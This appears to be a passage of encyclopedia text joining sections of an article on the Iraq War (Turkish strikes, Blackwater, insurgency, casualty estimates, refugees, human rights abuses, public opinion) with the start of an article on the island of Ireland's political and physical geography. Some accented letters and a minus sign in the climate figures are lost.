          In the fall of 2007, the Turkish military stated their right to cross the Iraqi Kurdistan border in "hot pursuit" of PKK militants and began shelling Kurdish villages in Iraq and attacking PKK bases in the Mount Cudi region with aircraft. The Turkish parliament approved a resolution permitting the military to pursue the PKK in Iraqi Kurdistan. In November, Turkish gunships attacked parts of northern Iraq in the first such attack by Turkish aircraft since the border tensions escalated. Another series of attacks in mid-December hit PKK targets in the Qandil, Zap, Avashin and Hakurk regions. The latest series of attacks involved at least 50 aircraft and artillery and Kurdish officials reported one civilian killed and two wounded.


          Additionally, weapons that were originally given to Iraqi security forces by the American military are being recovered by authorities in Turkey after being used in violent crimes in that country.


          


          Private security firm controversy


          On September 17, 2007, the Iraqi government announced that it was revoking the license of the American security firm Blackwater USA over the firm's involvement in the deaths of eight civilians, including a woman and an infant, in a firefight that followed a car bomb explosion near a State Department motorcade. Additional investigations of alleged arms smuggling involving the firm was also under way. Blackwater is currently one of the most high-profile firms operating in Iraq, with around 1,000 employees as well as a fleet of helicopters in the country. Whether the group may be legally prosecuted is still a matter of debate..
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          In early January, the Maliki government began consideration of a new law to politically rehabilitate former Baath Party members.


          


          Coalition troop deployment


          


          United Nations


          The United Nations has also deployed a small contingent to Iraq to protect UN staff and guard their compounds.


          United Nations Assistance Mission in Iraq ( UNAMI)
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          Armed Iraqi groups


          The Iraqi insurgency is the armed resistance, by diverse groups, including private militias, within Iraq opposed to the US occupation and the U.S.-supported Iraqi government. The fighting has clear sectarian overtones and significant international implications (see Civil war in Iraq). This campaign has been called the Iraqi resistance by its supporters and the anti-Iraqi forces(AIF) by Coalition forces.


          


          Insurgents
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          By fall 2003 these insurgent groups began using typical guerrilla tactics: ambushes, bombings, kidnappings, and the use of IEDs. Other actions include mortars and suicide attacks, explosively formed penetrators, small arms fire, anti-aircraft missiles ( SA-7, SA-14, SA-16) and RPGs. The insurgents also conduct sabotage against the oil, water, and electrical infrastructure of Iraq. Multi-national Force-Iraq statistics (see detailed BBC graphic) show that the insurgents primarily targeted coalition forces, Iraqi security forces and infrastructure, and lastly civilians and government officials. These irregular forces favored attacking unarmored or lightly armored Humvee vehicles, the U.S. military's primary transport vehicle, primarily through the use of roadside IED. In November 2003, some of these forces successfully attacked U.S. helicopters with SA-7 missiles bought on the global black market. Insurgent groups such as the al-Abud Network have also attempted to constitute their own chemical weapons programs, trying to weaponise traditional mortar rounds with ricin and mustard toxin.


          There is evidence that some guerrilla groups are organised, perhaps by the fedayeen and other Saddam Hussein or Baath loyalists, religious radicals, Iraqis angered by the occupation, and foreign fighters. On February 23, 2005


          


          Militias


          Two of the most powerful current militias are the Mahdi Army and the Badr Organization, with both militias having substantial political support in the current Iraqi government. Initially, both organisations were involved in the Iraqi insurgency, most clearly seen with the Mahdi Army at the Battle of Najaf. However in recent months, there has been a split between the two groups.
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          This violent break between Muqtada al-Sadr's Mahdi Army and the rival Badr Organization of Abdul Aziz al-Hakim, was seen in the fighting in the town of Amarah on October 20, 2006, would severely complicate the efforts of Iraqi and American officials to quell the soaring violence.


          More recently in late 2005 and 2006, due to increasing sectarian violence based on either tribal/ethnic distinctions or simply due to increased criminal violence, various militias have formed, with whole neighborhoods and cities sometimes being protected or attacked by ethnic or neighbourhood militias. One such group, known as the Anbar Awakening, was formed in September 2006 to fight against Al Qaeda and other radical islamist groups in particularly violent Anbar province. Led by Sheik and Abdul Sattar Buzaigh al-Rishawi, who heads the Sunni Anbar Salvation Council, the Anbar Awakening has more than 60,000 troops and is seen by key U.S. officials such as Condoleeza Rice as a potential ally to U.S. occupation forces.


          


          Casualty estimates
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          For coalition death totals see the infobox at the top right. See also Casualties of the Iraq War, which has casualty numbers for coalition nations, contractors, non-Iraqi civilians, journalists, media helpers, aid workers, wounded, etc.. The main article also gives explanations for the wide variation in estimates and counts, and shows many ways in which undercounting occurs. Casualty figures, especially Iraqi ones, are highly disputed. This section gives a brief overview.
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          U.S. General Tommy Franks reportedly estimated soon after the invasion that there had been 30,000 Iraqi casualties as of April 9, 2003. After this initial estimate he made no further public estimates.


          In December 2005 President Bush said there were 30,000 Iraqi dead. White House spokesman Scott McClellan later said it was "not an official government estimate", and was based on media reports.


          There have been several attempts by the media, coalition governments and others to estimate the Iraqi casualties:


          
            	Iraqi Health Ministry casualty survey. In January 2008 the Iraqi health minister, Dr Salih Mahdi Motlab Al-Hasanawi, reported the results of the "Iraq Family Health Survey" of 9,345 households across Iraq which was carried out in 2006 and 2007. It estimated 151,000 violence-related Iraqi deaths (95% uncertainty range, 104,000 to 223,000) from March 2003 through June 2006. Employees of the Iraqi Health Ministry carried out the survey for the World Health Organization. The results were published in the New England Journal of Medicine.


            	Iraq's Health Minister Ali al-Shemari said in November 2006 that since the March 2003 invasion between 100,000-150,000 Iraqis have been killed. Al-Shemari said on Thursday, Nov. 9, that he based his figure on an estimate of 100 bodies per day brought to morgues and hospitals.


            	The United Nations found that 34,452 violent civilian deaths were reported by morgues, hospitals, and municipal authorities across Iraq in 2006.


            	The Iraqi ministries of Health, Defence and Interior said that 14,298 civilians, 1,348 police, and 627 soldiers were killed in 2006. The Iraqi government does not count deaths classed as "criminal", nor those from kidnappings, nor wounded persons who die later as the result of attacks. However "a figure of 3,700 civilian deaths in October 2006, the latest tally given by the UN based on data from the Health Ministry and the Baghdad morgue, was branded exaggerated by the Iraqi Government."


            	The Iraq Body Count project (IBC) has documented 73,264 - 79,869 violent, non-combatant civilian deaths since the beginning of the war as of September 20, 2007. However, the IBC has been criticized for counting only a small percentage of the number of actual deaths because they only include deaths reported by specific media agencies. IBC Director John Sloboda admits, "We've always said our work is an undercount, you can't possibly expect that a media-based analysis will get all the deaths."


            	An Opinion Research Business (ORB) survey conducted August 12-19, 2007 estimated 1,220,580 violent deaths due to the Iraq War (range of 733,158 to 1,446,063). Out of a national sample of 1,499 Iraqi adults, 22% had one or more members of their household killed due to the Iraq War (poll accuracy +/-2.4%). ORB reported that 48% died from a gunshot wound, 20% from car bombs, 9% from aerial bombardment, 6% as a result of an accident and 6% from another blast/ordnance. It is the highest estimate given so far of civilian deaths in Iraq and is consistent with the Lancet study. On 28 January 2008, ORB published an update based on additional work carried out in rural areas of Iraq. Some 600 additional interviews were undertaken and as a result of this the death estimate was revised to 1,033,000 with a given range of 946,000 to 1,120,000.


            	The 2006 Lancet survey of casualties of the Iraq War estimated 654,965 Iraqi deaths (range of 392,979-942,636) from March 2003 to the end of June 2006. That total number of deaths (all Iraqis) includes all excess deaths due to increased lawlessness, degraded infrastructure, poorer healthcare, etc, and includes civilians, military deaths and insurgent deaths. 601,027 were violent deaths (31% attributed to Coalition, 24% to others, 46% unknown). A copy of a death certificate was available for a high proportion of the reported deaths (92 per cent of those households asked to produce one). The causes of violent deaths were gunshot (56%), car bomb (13%), other explosion/ordnance (14%), air strike (13%), accident (2%), unknown (2%). The survey results have been criticized as "ridiculous" and "extreme and improbable" by various critics such as the Iraqi government and Iraq Body Count project.

          


          


          Criticisms and costs
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          The U.S. rationale for the Iraq War has faced heavy criticism from an array of popular and official sources both inside and outside the United States. According to the Centre for Public Integrity, President Bush's administration made a total of 935 false statements between 2001 and 2003 about Iraq's alleged threat to the United States. Both proponents and opponents of the invasion have also criticised the prosecution of the war effort along a number of other lines. Most significantly, critics have assailed the U.S. and its allies for not devoting enough troops to the mission, not adequately planning for post-invasion Iraq, and for permitting and perpetrating widespread human rights abuses. As the war has progressed, critics have also railed against the high human and financial costs.


          Criticisms include:


          
            	Legality of the invasion


            	Inadequate troop levels (a RAND study stated that 500,000 troops would be required for success)


            	Insufficient post-invasion plans


            	Human casualties


            	Financial costs with approximately $474 billion spent as of 12/07 the CBO has estimated the total cost of the war in Iraq to U.S. taxpayers will be around $1.9 trillion.


            	Adverse effect on global war on terror


            	Negative impact on Israel


            	Endangerment of religious minorities


            	Damage to America's traditional alliances and influence


            	Disruption of Iraqi oil production and related energy security concerns (the price of oil has quadrupled since 2002)

          


          
            	Further information: Opposition to the Iraq War, Views on the 2003 invasion of Iraq, 2003 invasion of Iraq, Protests against the Iraq War, American popular opinion on invasion of Iraq, Governments' positions pre-2003 invasion of Iraq, 2003 invasion of Iraq media coverage,and Legitimacy of the 2003 invasion of Iraq

          


          


          Humanitarian crises


          


          Iraqi public opinion


          A March 2007 survey of more than 2,000 Iraqis commissioned by the BBC and three other news organizations found that 51% of the population consider attacks on coalition forces "acceptable," up from 17% in 2004 and 35% in 2006. Also:


          
            	64% described their family's economic situation as being somewhat or very bad, up from 30% in 2005.


            	88% described the availability of electricity as being either somewhat or very bad, up from 65% in 2004.


            	69% described the availability of clean water as somewhat or very bad, up from 48% in 2004.


            	88% described the availability of fuel for cooking and driving as being somewhat or very bad.


            	58% described reconstruction efforts in the area in which they live as either somewhat or very ineffective, and 9% described them as being totally nonexistent.
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          In a report entitled "Civilians without Protection: The Ever-Worsening Humanitarian Crisis in Iraq", produced well after the stepped-up American-led military operations in Baghdad began February 14, the International Red Cross and Red Crescent Movement said that millions of Iraqis are in a disastrous situation that is getting worse, with medical professionals fleeing the country after their colleagues were killed or abducted. Mothers are appealing for someone to pick up the bodies on the street so their children will be spared the horror of looking at them on their way to school. Red Cross Director of Operations Pierre Kraehenbuehl said that hospitals and other key services are desperately short of staff, with more than half the doctors said to have already left the country.
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          According to an anonymous Iraqi government official, 1,944 civilians and at least 174 soldiers and policemen were killed in May, 2007, a 29% increase in civilian deaths over April. The Iraqi government's estimate of the number of civilian deaths has always been much lower than reports from independent researchers, such as the Lancet surveys of Iraq War casualties. Mortar attacks in the capital are becoming deadlier.


          Between June 18 and July 18, 2007, up to 592 unidentified bodies were found dumped in Baghdad. Most of the approximately 20 per day found by the police have been bound, blindfolded and shot execution style. The police attribute these deaths to Sunni and Shiite death squads. According to Baghdad medical sources, many have also shown signs of torture and mutilation. Despite official Iraqi and U.S. statements to the contrary, the reports indicated that the number of unidentified bodies in the capital rose to pre-surge levels in July. Media reports have indicated that the U.S. military has usually focused on areas where they have been attacked rather than districts witnessing such sectarian reprisal killings.


          


          Iraqi health care deterioration


          Iraq's health has deteriorated to a level not seen since the 1950s, said Joseph Chamie, former director of the U.N. Population Division and an Iraq specialist. "They were at the forefront", he said, referring to health care just before the 1991 Persian Gulf War. "Now they're looking more and more like a country in sub-Saharan Africa." Malnutrition rates have risen from 19% before the US-led invasion to a national average of 28% four years later. Some 60-70% of Iraqi children are suffering from psychological problems. 68% of Iraqis have no access to safe drinking water. A cholera outbreak in northern Iraq is thought to be the result of poor water quality.As many as half of Iraqi doctors have left the country since 2003.


          In December 2007 the Iraqi government announced plans to cut food rations and subsidies by almost 50 per cent as part of its overall 2008 budget because of insufficient funds and rising inflation. Apart from the cut in subsidies, Baghdad also wants to reduce the number of people dependent on the rationing system by five million. Rationing was first introduced in 1991 after the UN Security Council imposed sanctions on Iraq but the country has seen an alarming rise in poverty since the 2003 invasion. Nearly 10 million Iraqi's living in poverty now depend heavily on the rationing system.


          


          Orphans


          On December 15, 2007 a conference dedicated to orphans in Iraq was held in Baghdad. Iraq's anti-corruption board reported that official government statistics revealed that five million (or 35%) of Iraqi children are orphans. Wijdan Salem Mikhail, the Iraqi minister of human rights, stated the phenomenon "is one of the most passive things that grew immensely during the past few years due to destructive wars and unbridled violence in the country." The Iraqi parliament's women and family committee have proposed a draft law to set up a fund for the orphans. Abeer Chalabi head of the state orphanages section of the Ministry of Labor and Social Affairs estimates more than 4 million orphans and says the number may be exaggerated "but to have so many is a catastrophe." Iraqi orphanages have the capacity to look after no more than 26,000 children but the government says it has only 700 children in its institutions. This is due mainly to the Iraqi tradition that obligates relatives to take in orphaned or abandoned children but many of these families cannot afford to care for them and send them out during the day to beg or gather scrap metal.


          


          Iraqi refugees
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          There are more than 3.9 million refugees of Iraq, almost 16% of the population. Two million fled Iraq while approximately 1.9 million are internally displaced people. The United Nations High Commissioner for Refugees estimated on June 21, 2007 that 2.2 million Iraqis had fled to neighboring countries and 2 million were displaced internally, with nearly 100,000 Iraqis fleeing to Syria and Jordan each month.


          Roughly 40% of Iraq's middle class is believed to have fled, the U.N. said. Most are fleeing systematic persecution and have no desire to return. All kinds of people, from university professors to bakers, have been targeted by militias, insurgents and criminals. An estimated 331 school teachers were slain in the first four months of 2006, according to Human Rights Watch, and at least 2,000 Iraqi doctors have been murdered and 250 kidnapped since the 2003 U.S. invasion. Iraqi refugees in Syria and Jordan live in impoverished communities with little international attention to their plight and little legal protection.


          Many of the Iraqi women fleeing the war in Iraq are turning to prostitution. In Syria alone an estimated 50,000 refugee girls and women, many of them widows, are forced into prostitution just to survive. Cheap Iraqi prostitutes have helped to make Syria a popular destination for sex tourists. The clients come from wealthier countries in the Middle East - many are Saudi men.


          A May 25, 2007 article notes that in the past seven months only 69 people from Iraq have been granted refugee status in the United States. In fiscal year 2006, just 202 refugees from Iraq were allowed to resettle in the United States. As a result of growing international pressure, on June 1, 2007 the Bush administration said it was ready to admit 7,000 Iraqi refugees who had helped the coalition since the invasion. In 2006, 1.27 million immigrants were granted legal permanent residence in the U.S., including 70,000 refugees. According to Washington based Refugees International the U.S. has admitted fewer than 800 Iraqi refugees since the invasion, Sweden had accepted 18,000 and Australia almost 6,000. As many as 110,000 Iraqis could be targeted as collaborators because of their work for coalition forces.


          The Syrian government decided to implement a strict visa regime to limit the number of Iraqis pouring into the country at up to 5,000 per day, cutting the only accessible escape route for thousands of refugees fleeing the civil war in Iraq. A government decree that takes effect on Sept. 10 2007 bars Iraqi passport holders from entering Syria except for businessmen and academics. Until then, the Syria was the only country resisting strict entry regulations for Iraqis.


          Although Christians represent less than 5% of the total Iraqi population, they make up 40% of the refugees now living in nearby countries, according to U.N. High Commissioner for Refugees. UNHCR estimates that Christians comprise 24% of Iraqis currently seeking asylum in Syria. The census in 1987 counted 1.4 million Christians, however since the 2003 invasion radicalized Iraqi culture, the total number of Christians dropped to about 500,000, half of which live in Baghdad. Between October 2003 and March 2005 alone, 36% of 700,000 Iraqis who fled to Syria were Assyrians and other Christians, judging from a sample of those registering for asylum on political or religious grounds. Furthermore, the small Mandaean and Yazidi communities are at the risk of elimination due to ethnic cleansing by Islamic militants.


          


          Human rights abuses


          Throughout the entire Iraq war there have been human rights abuses on all sides of the conflict.


          


          Iraqi government


          
            	The use of torture by Iraqi security forces.

          


          
            	Shiite-run death squads run out of the Interior Ministry that are accused of committing numerous massacres of Sunni Arabs and the police collusion with militias in Iraq have compounded the problems.

          


          


          Coalition forces and private contractors
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            	Abu Ghraib torture and prisoner abuse

          


          
            	Haditha killings of 24 civilians

          


          
            	White phosphorus use in Iraq

          


          
            	Gang-rape and murder of a 14-year-old girl and the murder of her family, in Mahmoudiyah

          


          
            	Bombing and shooting of 42 civilians in Mukaradeeb (under investigation)

          


          
            	Controversy over whether disproportionate force was used, during the assaults by Coalition and (mostly Shia and Kurdish) Iraqi government forces on the Sunni insurgent stronghold of Fallujah in 2004. Fatalities (both combatant and civilian) were estimated in the hundreds, and much of the city destroyed.

          


          
            	Planting weapons on noncombatant, unarmed Iraqis by three US Marines after killing them. According to a report by The Nation, other similar acts have been witnessed by US soldiers. Members of Iraq Veterans Against the War tell similar stories.

          


          


          Insurgent and terrorist groups
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            	Killing over 12,000 Iraqis from January 2005 - June 2006, according to Iraqi Interior Minister Bayan Jabr, giving the first official count for the victims of bombings, ambushes and other deadly attacks. The insurgents have also conducted numerous suicide attacks on the Iraqi civilian population, mostly targeting the majority Shia community. An October 2005 report from Human Rights Watch examines the range of civilian attacks and their purported justification.

          


          
            	Attacks on diplomats and diplomatic facilities including; the bombing of the U.N. headquarters in Baghdad in August 2003 killing the top U.N. representative in Iraq and 21 other UN staff members;beheading several diplomats: two Algerian diplomatic envoys Ali Belaroussi and Azzedine Belkadi, Egyptian diplomatic envoy al-Sherif, and four Russian diplomats.

          


          
            	The February 2006 bombing of the al-Askari Mosque, destroying one of the holiest Shiite shrines, killing over 165 worshipers and igniting sectarian strife and reprisal killings.

          


          
            	The publicised murders of several contractors; Eugene Armstrong, Jack Hensley, Kenneth Bigley, Ivaylo Kepov and Georgi Lazov (Bulgarian truck drivers). Other non-military personnel murdered include: translator Kim Sun-il, Shosei Koda, Fabrizio Quattrocchi (Italian), charity worker Margaret Hassan, reconstruction engineer Nick Berg, photographer Salvatore Santoro (Italian) and supply worker Seif Adnan Kanaan (Iraqi). Four private armed contractors, Scott Helvenston, Jerko Zovko, Wesley Batalona and Michael Teague, were killed with grenades and small arms fire, their bodies dragged from their vehicles, beaten and set ablaze. Their burned corpses were then dragged through the streets before being hung over a bridge crossing the Euphrates.

          


          
            	Torture or murder of members of the New Iraqi Army, and assassination of civilians associated with the Coalition Provisional Authority, such as Fern Holland, or the Iraqi Governing Council, such as Aqila al-Hashimi and Ezzedine Salim, or other foreign civilians, such as those from Kenya.

          


          


          Public opinion on the war


          


          International


          According to a January 2007 BBC World Service poll of more than 26,000 people in 25 countries, 73% of the global population disapproves of the U.S. handling of the Iraq War. A September 2007 poll conducted by the BBC found that 2/3rds of the world's population believed the U.S. should withdraw its forces from Iraq. According to an April 2004 USA Today/CNN/Gallup Poll, only a third of the Iraqi people believed that "the American-led occupation of their country is doing more good than harm, and a solid majority support an immediate military pullout even though they fear that could put them in greater danger." Majorities in the UK and Canada believe the war in Iraq is "unjustified" and are critical of their governments' support of U.S. policies in Iraq. According to polls conducted by The Arab American Institute, four years after the invasion of Iraq, 83% of Egyptians had a negative view of the U.S.'s role in Iraq; 68% of Saudi Arabians had a negative view; 96% of the Jordanian population had a negative view; 70% of the UAE and 76% of the Lebanese population also described their view as negative. The Pew Global Attitudes Project reports that in 2006 majorities in the Netherlands, Germany, Jordan, France, Lebanon, China, Spain, Indonesia, Turkey, Pakistan, and Morocco believed the world was safer before the Iraq War and the toppling of Saddam Hussein. However, pluralities in the U.S. and India believe the world is safer without Saddam Hussein.


          


          Iraqi
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          A WPO poll conducted on September 27, 2006, found that seven out of ten Iraqis want U.S.-led forces to withdraw from Iraq within one year. The perception that the U.S. presence in Iraq has a negative impact on security is widespread and is given some support by the British withdrawal from Basra which led to a 90% reduction in violence. Overall, 78% of those polled said they believed that the presence of U.S. forces is "provoking more conflict than it's preventing." 53% of those polled believed the Iraqi government would be strengthened if U.S. forces left Iraq (versus 23% who believed it would be weakened), and 71% wanted this to happen in 1 year or less. All of these positions are more prevalent amongst Sunni and Shia respondents than among Kurds. 61% of respondents said that they "approve" of attacks on U.S.-led forces, while 94% still had an unfavorable opinion of al-Qaeda.


          A March 7, 2007 survey of more than 2,000 Iraqis commissioned by the BBC and three other news organisations found that 78% of the population opposes "the presence of Coalition forces in Iraq," that 69% believe the presence of U.S. forces is making things worse, and that 51% of the population consider attacks on coalition forces "acceptable", up from 17% in 2004 and 35% in 2006. However, only 35% want them to leave "now". 64% described their family's economic situation as being somewhat or very bad, up from 30% in 2005. 58% described reconstruction efforts in the area in which they live as either somewhat or very ineffective, and 9% described them as being totally nonexistent.


          


          Relation to the Global War on Terror


          President Bush has consistently referred to the Iraq war as "the central front in the War on Terror", and has argued that if the U.S. pulls out of Iraq, "terrorists will follow us here." While other proponents of the war have regularly echoed this assertion, as the conflict has dragged on, members of the U.S. Congress, the American public, and even U.S. troops have begun to question the connection between Iraq and the fight against terrorism. In particular, a consensus has developed among intelligence experts that the Iraq war has increased terrorism. Counterterrorism expert Rohan Gunaratna frequently refers to the invasion of Iraq as a "fatal mistake." London's conservative International Institute for Strategic Studies concluded in 2004 that the occupation of Iraq had become "a potent global recruitment pretext" for jihadists and that the invasion "galvanised" al-Qaeda and "perversely inspired insurgent violence" there. The U.S. National Intelligence Council concluded in a January 2005 report that the war in Iraq had become a breeding ground for a new generation of terrorists; David B. Low, the national intelligence officer for transnational threats, indicated that the report concluded that the war in Iraq provided terrorists with "a training ground, a recruitment ground, the opportunity for enhancing technical skills... There is even, under the best scenario, over time, the likelihood that some of the jihadists who are not killed there will, in a sense, go home, wherever home is, and will therefore disperse to various other countries." The Council's Chairman Robert L. Hutchings said, "At the moment, Iraq is a magnet for international terrorist activity." And the 2006 National Intelligence Estimate, which outlined the considered judgment of all 16 U.S. intelligence agencies, held that "The Iraq conflict has become the 'cause celebre' for jihadists, breeding a deep resentment of US involvement in the Muslim world and cultivating supporters for the global jihadist movement."


          Regarding Saddam Hussein's ties to terrorist groups such as Al-Qaeda, the Bush administration has produced inconsistent statements. Asked to describe the connection between the Iraqi leader and the al-Qaeda terror network at an appearance on October 5, 2004 at the Council on Foreign Relations, Defense Secretary Donald Rumsfeld first refused to answer, then said: "To my knowledge, I have not seen any strong, hard evidence that links the two." Several hours after his appearance, Rumsfeld issued a statement from the Pentagon saying his comment "regrettably was misunderstood" by some. He said he has said since September 2002 that there were ties between Osama bin Laden's terror group and Iraq. Despite statements from the Bush administration, inspectors never found hidden stockpiles of WMD in Iraq, and the September 11 Commission reported no collaborative relationship between Al Qaeda and the Iraqi leadership. However, several months prior to the commencement of military action, Saddam Hussein had began providing financial assistance to the families of Palestinian militants killed in fighting with, or civilians killed by, the Israeli military (including relatives of suicide bombers). He also sponsored a small number of regional groups, designated terrorist organisations by the U.S. Department of State, among them, the People's Mujahedin of Iran. Former National Intelligence Officer Paul R. Pillar notes that,


          
            Iraq did provide other kinds of sponsorship to terrorist groups, some of the Palestinian groups that aren't so active anymore... But in terms of it having provided support or sustenance or strength, or having anything close to an alliance with al Qaeda, it simply wasn't there.

          


          Al-Qaeda leaders have seen the Iraq war as a boon to their recruiting and operational efforts, providing evidence to jihadists worldwide that America is at war with Islam, and the training ground for a new generation of jihadists to practice attacks on American forces. In October 2003, Osama bin Laden announced: "Be glad of the good news: America is mired in the swamps of the Tigris and Euphrates. Bush is, through Iraq and its oil, easy prey. Here is he now, thank God, in an embarrassing situation and here is America today being ruined before the eyes of the whole world." Al-Qaeda commander Seif al-Adl gloated about the war in Iraq, indicating, "The Americans took the bait and fell into our trap." A letter thought to be from al-Qaeda leader Atiyah Abd al-Rahman found in Iraq among the rubble where al-Zarqawi was killed and released by the U.S. military in October 2006, indicated that al-Qaeda perceived the war as beneficial to its goals: "The most important thing is that the jihad continues with steadfastness ... indeed, prolonging the war is in our interest."
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              Northwest of continental Europe with Great Britain to the east
            


            
              	Geography
            


            
              	Location

              	Western Europe
            


            
              	Area

              	84,412km (32,591sqmi)
            


            
              	Rank

              	20th
            


            
              	Highest point

              	Carrauntoohil (1,038m (3,406ft))
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              	Dublin
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              	Constituent country

              	Northern Ireland
            


            
              	Largest city

              	Belfast
            


            
              	Demographics
            


            
              	Population

              	approximately 6 million (as of 2007)
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              	/km
            


            
              	Ethnic groups

              	Irish
            

          


          Ireland (pronunciation /ˈaɾlənd/ or /ˈaɪɾlənd/; Irish: ire; Ulster Scots: Airlann) is one of the two main islands (and second largest) of the British Isles, the third largest island in Europe, and the twentieth-largest island in the world. It lies to the north-west of continental Europe and is surrounded by hundreds of islands and islets. To the east of Ireland, separated by the Irish Sea, is the island of Great Britain. Politically, the state Ireland (described as the Republic of Ireland in cases of ambiguity) covers five-sixths of the island, with Northern Ireland, part of the United Kingdom, covering the remainder in the north-east.


          The population of the island is slightly over 6 million (2007), with 4.4 million in the Republic of Ireland (1.7 million in Greater Dublin) and an estimated 1.75 million in Northern Ireland (800,000 in Greater Belfast). This is a significant increase from a modern historical low in the 1960s, but still much lower than the peak population of over 8 million in the early 19th century, prior to the Great Hunger (1840s famine).


          The name Ireland derives from the name riu (in modern Irish, ire) with the addition of the Germanic word land. Most other western European names for Ireland derive from the same source, such as French Irlande, Spanish, Italian, Romanian and Portuguese Irlanda, German Irland and Dutch Ierland.


          


          Political geography
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          The island of Ireland has two distinct jurisdictions:


          
            	Ireland (description is the Republic of Ireland), a sovereign state, covers five-sixths of the island. Its capital is Dublin.


            	Northern Ireland, part of the United Kingdom of Great Britain and Northern Ireland, covers the remaining sixth. Its capital is Belfast.

          


          For the political history of the island, see History of Ireland.


          
            
              	Province

              	Population

              	Area (km)

              	Largest city
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              	503,083

              	17,713

              	Galway
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              	2,292,939

              	19,774

              	Dublin
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              	1,172,170

              	24,608

              	Cork
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              	1,993,918

              	24,481

              	Belfast
            

          


          Traditionally, Ireland is subdivided into four provinces: Connacht, Leinster, Munster and Ulster; and, in a system developed between the 13th and 17th centuries, 32 counties. Twenty-six of the counties are in the Republic of Ireland, and the remaining six (all in Ulster) are in Northern Ireland. Notably, based on boundaries established in the Early Modern period, Ulster and Northern Ireland are neither synonymous nor co-extensive, as three counties of Ulster ( Cavan, Donegal and Monaghan) are part of the Republic. Nonetheless, 'Ulster' is often used colloquially as a synonym for Northern Ireland. Counties Dublin, Cork, Limerick, Galway, Waterford and Tipperary have been broken up into smaller administrative areas, but are still considered by Ordnance Survey Ireland to be official counties. The counties in Northern Ireland are no longer used for local government, although their traditional boundaries are still used in sports and in some other cultural and ceremonial areas.


          


          All-island institutions


          Despite the constitutional division of Ireland, the island does operate as a single entity in a number of areas. With a few notable exceptions, the island operates as a single unit in all major religious denominations and in many economic fields despite using two different currencies. There are also significant all-island dimensions to sports such as hurling, gaelic football, rugby, golf, cricket and hockey.


          The notable exception to this is soccer (where the previously all-island Irish Football Association following partition retained control of soccer only in Northern Ireland, with a separate Football Association of Ireland being formed for the remainder of the island) although an all-Ireland club cup competition, the Setanta Cup, was created in 2005. The creation of an all-island Association football league and a single international team (which is the case for rugby union) has been publicly touted by various prominent figures on the island in recent years, such as Irish government minister Dermot Ahern. More recently, FAI chief executive John Delaney believes there will be an all-Ireland league, but not before 2012, as a contract involving the Eircom League and the FAI runs to 2011. There is currently at least one player from Northern Ireland regularly appearing in the Republic of Ireland's squad, a practice that the latter's governing institution and the Irish government claim is permitted by the Belfast Agreement - although in reality there was apparently nothing to prevent the FAI from selecting players from Northern Ireland before the Agreement, since the Republic of Ireland's citizenship laws already extended north of the border. Nonetheless, Northern Ireland's governing body, the IFA, has raised the matter with the world governing body, FIFA, which appears to have ruled in favour of the Republic (although the matter remains unclear and therefore unresolved).


          All major religious bodies are organised on an all-Ireland basis, such as the Roman Catholic Church, the Methodist Church in Ireland, the Church of Ireland/Anglican Church and the Presbyterian Church in Ireland. Some trade unions are also organised on an all-island basis and associated with the Irish Congress of Trades Unions (ICTU) in Dublin, while others in Northern Ireland are affiliated with the Trades Union Congress (TUC) in the United Kingdom, and some affiliate to both  although such unions may organise in both parts of the island as well as in Great Britain. The Union of Students in Ireland (USI) organises jointly in Northern Ireland with the National Union of Students of the United Kingdom (NUS), under the name NUS-USI.


          The Belfast Agreement provides for all-Ireland governance in various guises. For example, a North-South Ministerial Council was established as a forum in which ministers from the Irish government and the Northern Ireland Assembly can discuss matters of mutual concern and formulate all-Ireland policies in twelve "areas of co-operation", such as agriculture, the environment and transport. Six of these policy areas have been provided with implementation bodies, an example of which is the Food Safety Promotion Board. Tourism marketing is also managed on an all-Ireland basis, by Tourism Ireland.


          Two political parties, Sinn Fin and the Irish Green Party, contest elections and hold parliamentary seats in both jurisdictions. The largest party in the Republic of Ireland, Fianna Fil, considered extending its organisation into Northern Ireland, perhaps via a merger with another political party, the Social Democratic and Labour Party (SDLP).


          A significant number of newspapers on the island are circulated in both jurisdictions, e.g., the Irish Times, The Irish Independent, The Sunday Business Post, The Irish Star, L Nua etc. and report news on an all-Ireland basis. Others include Irish editions of tabloids such as: Ireland-based The Sunday World and the Irish editions of UK-based The News of The World. The Irish Times includes news concerning Northern Ireland in its "Home" section, despite the fact that it is based in the Republic. Notable exceptions to this include, The Belfast Telegraph and Sunday Life (although these titles are owned by Ireland-based Independent News and Media, publisher of The Irish Independent.) Other Irish Newspaper publishers like Independent News and Media and Thomas Crosbie Holdings publish local titles for townlands in both parts of Ireland. Furthermore, most of the television stations based on the island broadcast across the whole island, such as RT, TG4 and UTV (although signals may be relatively weaker in more remote areas).


          An increasingly large amount of commercial activity operates on an all-Ireland basis, a development that is in part facilitated by the two jurisdictions' shared membership of the European Union. There have been calls for the creation of an "all-island economy" from members of the business community and policy-makers on both sides of the border, so as to benefit from economies of scale and boost competitiveness in both jurisdictions. This is a stated aim of the Irish government and nationalist political parties in the Northern Ireland Assembly. One commercial area in which the island already operates largely as a single entity is the electricity market. and there are plans for the creation of an all-island gas market.


          17 March is celebrated throughout the island of Ireland as St. Patrick's Day.


          


          Physical geography
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          A ring of coastal mountains surrounds low central plains. The highest peak is Carrauntoohil ( Irish: Corrn Tuathail) in County Kerry, which is 1,038m (3,406ft). The River Shannon, at 386km (240miles) is the longest river in Ireland. The island's lush vegetation, a product of its mild climate and frequent but soft rainfall, earns it the sobriquet "Emerald Isle". The island's area is 84,412km (32,591square miles).


          Ireland's least arable land lies in the south-western and western counties. These areas are largely mountainous and rocky, with dramatic green vistas, hence the attributive name "the Emerald Isle".


          


          Climate


          Overall, Ireland has a mild, but changeable, Oceanic climate with few extremes. The warmest recorded air temperature was 33.3 C (91.94 F) at Kilkenny Castle, County Kilkenny on 26 June 1887, where as the lowest recorded temperature was 19.1 C (2.38 F) at Markree Castle, County Sligo on 16 January 1881.


          Other statistics show that the greatest recorded annual rainfall was 3,964.9 mm (156.1 in) in the Ballaghbeena Gap in 1960. The driest year on record was 1887, with only 356.6mm (14.0in) of rain recorded at Glasnevin, while the longest period of absolute drought was in Limerick where there was no recorded rainfall over 38 days during April and May of 1938.


          The climate is typically insular, and as a result of the moderating moist winds which ordinarily prevail from the South-Western Atlantic, it is temperate, avoiding the extremes in temperature of many other areas in the world at similar latitudes.


